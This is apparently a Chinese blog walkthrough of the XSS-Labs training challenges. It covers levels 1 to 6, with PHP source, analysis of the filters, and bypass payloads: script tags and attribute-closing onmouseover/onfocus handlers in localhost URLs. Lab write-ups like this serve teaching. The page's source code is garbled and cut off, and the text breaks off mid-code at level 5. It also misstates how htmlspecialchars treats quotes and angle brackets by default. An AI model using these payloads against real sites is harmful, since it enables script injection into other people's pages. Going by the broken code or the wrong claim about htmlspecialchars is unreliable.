最近闲来无事,重新翻阅了XSS-Labs的源码,整理了常见的防御思路,和对绕过方法进行了总结学习,具体的内容思路分析如下:
网站源码:
欢迎来到level1
欢迎来到level1
欢迎用户".$str."";
?>
payload的长度:".strlen($str)."";
?>
可以看到网站的源码中第 17 行至第 18 行的运行逻辑是接收名称为 name 的参数,然后打印到网页上,
由于没有对$_GET变量进行验证或过滤,这可能会导致安全风险,比如 XSS 注入攻击,使用如下 Payload 可以触发 XSS 攻击。
http://127.0.0.1/xss/level1.php?name=%3Cscript%3Ealert(%271%27)%3C/script%3E
网站源码:
欢迎来到level2
欢迎来到level2
没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
payload的长度:".strlen($str)."";
?>
核心代码分析:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
关键函数分析:
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
htmlspecialchars
是一个在 PHP 中广泛使用的函数,它的主要作用是将特定的字符转换为 HTML 实体。这些特定的字符包括小于号(<)、大于号(>)、引号(")、尖括号(')和和号(&)。在输出到网页上时,这些字符如果以原始形式出现,可能会改变页面的结构或执行意外的脚本。通过转换这些字符为对应的 HTML 实体,htmlspecialchars 函数保证了输出的安全性和正确性。
同时:默认情况下,htmlspecialchars 只转换双引号。如果需要转换单引号和尖括号,需要设置相应的标志:
echo htmlspecialchars("This is a test & example", ENT_QUOTES);
当我们输入第一关的 payload 后会注意到,前端代码显示如下 文所示:
其第一段和我们输入有关的代码以二级标题的形式显示在网页中并且存在过滤,而第二段和我们输入有关的代码则位于名为keyword
的input
模块的value
中,因此我们考虑想办法让value
中的值与input
模块闭合,从而造成恶意的Javascript
执行。
因此我们构造如下的 Payload:
">
欢迎来到level3
欢迎来到level3
没有找到和".htmlspecialchars($str)."相关的结果."."
";
?>
payload的长度:".strlen($str)."";
?>
核心代码分析:
echo "没有找到和".htmlspecialchars($str)."相关的结果.
"."
可以看到此时两处和输入有关的代码,都使用了 htmlspecialchars
进行了过滤。
我们将第二关的 Payload 放入第三关,可以看到尖括号已经被过滤:
因此我们考虑不使用尖括号进行 XSS 攻击,而是在原有基础上进行闭合 并且进行额外的JavaScript
执行。
因此构造 Payload 如下:
' onmouseover=javascript:alert(123) >
和原有 URL 组合即为:
http://127.0.0.1/xss/level3.php?keyword=%27+onfocus%3Djavascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2
此时前端代码显示如下,成功触发 XSS 漏洞
网页源码:
欢迎来到level4
欢迎来到level4
","",$str);
$str3=str_replace("<","",$str2);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
';
?>
payload的长度:".strlen($str3)."";
?>
核心代码:
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
代码分析:可以看到 Level4 不同于 Level3 的区别在于首先闭合方式上 Level4 的双引号闭合,而 Level3 是单引号闭合,并且 input 模块处没有使用htmlspecialchars
,但是 Level4 过滤的<
,>
两个括号,因此绕过思路同htmlspecialchars
,不同的是htmlspecialchars
会过滤双引号,而此处需要我们使用双引号绕过,因此十分好绕过,构造 Payload 如下:
" onmouseover=javascript:alert(123)
和原有 URL 组合即为:
http://127.0.0.1/xss/level4.php?keyword=%22+onmouseover%3Djavascript%3Aalert%28123%29+&submit=%E6%90%9C%E7%B4%A2
网页源码:
欢迎来到level5
欢迎来到level5
没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
payload的长度:".strlen($str3)."";
?>
核心代码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("
欢迎来到level6
欢迎来到level6
没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
payload的长度:".strlen($str6)."";
?>